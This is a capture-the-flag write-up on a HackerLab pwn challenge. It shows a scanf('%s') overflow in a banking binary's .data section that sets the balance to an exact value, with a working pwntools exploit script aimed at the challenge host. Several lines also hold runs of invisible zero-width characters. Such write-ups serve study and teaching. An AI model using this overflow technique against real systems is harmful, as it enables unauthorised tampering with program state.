← Back to Writeups
CUSTOMMediumpwn

HackerLab: Simple BOF - Я хочу купить этот флаг!!!

XESXOR9/2/20262 min read
#pwn#custom#medium#na

HackerLab: Simple BOF - Я хочу купить этот флаг!!!

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: NA

Summary

HackerLab: Simple BOF - Я хочу купить этот флаг!!!

Date: 2025-12-24 Category: PWN / Buffer Overflow Difficulty: Easy (300 points) Flag: CODEBY{REDACTED}

Description

На моём счёте в банке 1000$. А флаг стоит в разы больше. Как же мне быть??

Analysis

Binary

  • ELF 64-bit, PIE, dynamically linked, not stripped
  • Banking application with menu

Key Addresses (in .data section)

admin_login: 0x4010 (6 bytes, "admin\0")
admin_pass:  0x4020 (27 bytes, "Super_secret_admin_password\0")
balance:     0x403c (4 bytes, initial value 1000 = 0x3E8)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Program Logic

  1. Main menu: Login / Call bank / Exit
  2. After successful login (admin / Super_secret_admin_password) - admin menu
  3. Admin menu:
    • [1] Work for 1 month - adds 10006 to balance
    • [2] Buy the flag - checks balance == 0x434442 (4408386)
    • [3] Change login - vulnerability! uses scanf("%s", admin_login)
    • [4] Exit

Vulnerability

Option 3 "Change login" uses scanf("%s") without length limit to write to admin_login (0x4010).

Offset from admin_login to balance: 0x403c - 0x4010 = 44 bytes ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploitation

Key Point

To buy the flag, the balance must be EXACTLY equal to 0x434442.

In little-endian: \x42\x44\x43\x00 = "BDC\x00"

Trick: scanf automatically adds a null-terminator, so it's enough to send "BDC" (3 bytes), and scanf will add \x00, resulting in the exact value 0x434442.

Payload

44 bytes padding + "BDC"

Exploit

python
#!/usr/bin/env python3
from pwn import *

HOST = "62.173.140.174"
PORT = 17100

r = remote(HOST, PORT)

# Login
r.recvuntil(b"[3] Exit.")
r.sendline(b"1")
r.recvuntil(b"login:")
r.sendline(b"admin")
r.recvuntil(b"password:")
r.sendline(b"Super_secret_admin_password")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Wait for admin menu
import time
time.sleep(1)
r.send(b"\n")
r.recvuntil(b"Your choice:")

# Option 3 - Change login (overflow)
r.sendline(b"3")
time.sleep(1)
r.send(b"\n")
r.recvuntil(b"new login:")

# Overflow: 44 bytes padding + "BDC" (scanf adds \x00)
payload = b'A' * 44 + b"BDC"
r.sendline(payload)

# Wait for menu
time.sleep(1)
r.send(b"\n")
r.recvuntil(b"Your choice:")

# Option 2 - Buy flag
r.sendline(b"2")

# Get flag
r.recvuntil(b"Your flag:")
flag = r.recvline().decode().strip()
print(f"FLAG: {flag}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

r.close()

Key Techniques

  1. Buffer overflow in .data section - overwriting a global variable through an adjacent buffer
  2. scanf("%s") without bounds checking - classic vulnerability
  3. Little-endian encoding - correct byte order for the target value
  4. Null-terminator from scanf - using the automatic addition of \x00

Lessons

  • scanf("%s") is always dangerous - no length checking
  • Global variables in .data section can be overwritten via overflow
  • Important to consider that scanf adds a null-terminator
  • With exact comparison (==) you need to set the exact value, not just "greater than" ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Tags

buffer_overflow, scanf, data_section, variable_overwrite, exact_value ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍